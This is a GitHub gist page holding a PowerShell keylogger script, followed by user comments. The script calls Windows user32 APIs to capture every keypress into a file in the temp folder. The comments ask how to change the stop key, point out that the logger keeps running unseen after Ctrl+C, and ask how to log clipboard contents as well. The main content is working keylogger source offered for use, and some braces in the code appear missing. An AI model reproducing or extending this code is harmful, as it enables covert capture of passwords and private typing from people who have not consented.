Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
# open logger file in Notepad
notepad $Path
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes

This comment has been minimized.

Copy link

Sheetal315 commented Feb 24, 2017

What if I don't want to stop through 'Ctrl+C' and use some other way to stop ?


This comment has been minimized.

Copy link

TRSO4 commented May 2, 2018

Yeah.. How do you change it from "Ctrl+C" to something else

...I Have somewhat of a solution to this ctrl-c thingy. (I would love to know how to change the stop command to ctrl+xyz)
You only have to press ctrl-c once to show the file, after that the logger will keep running! It keeps saving the keys that are typed in the appdata temp. folder. There you can access the file (Called keylogger duh!) . Keep in mind that the logger WILL NOT STOP! (unless you cancel the process inside of tsk manager).

Love the keylogger BTW... good job


This comment has been minimized.

Copy link

sin9yt commented Jul 18, 2018

Simple and effective! +1


This comment has been minimized.

Copy link

MrFlipFlop commented Apr 15, 2019

I really thought that just by replacing CTRL+C to CTRL+"another letter" would work.
But its not. It does display the correct combination letter, since i replaced all CTRL+C to CTRL+"another letter".

Still it will stop only after using CTRL+C, but now i figured that CTRL+C will only work after using CTRL+"another letter". So at the end of the day that is good for me. Just adds a piece of mind that saving copying some text wont accidentaly stop logger.

Also i noticed that it logs CTRL presses as odd rectangular boxes in the log.
Any idea how to log contents from clipboard as well in the same log?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.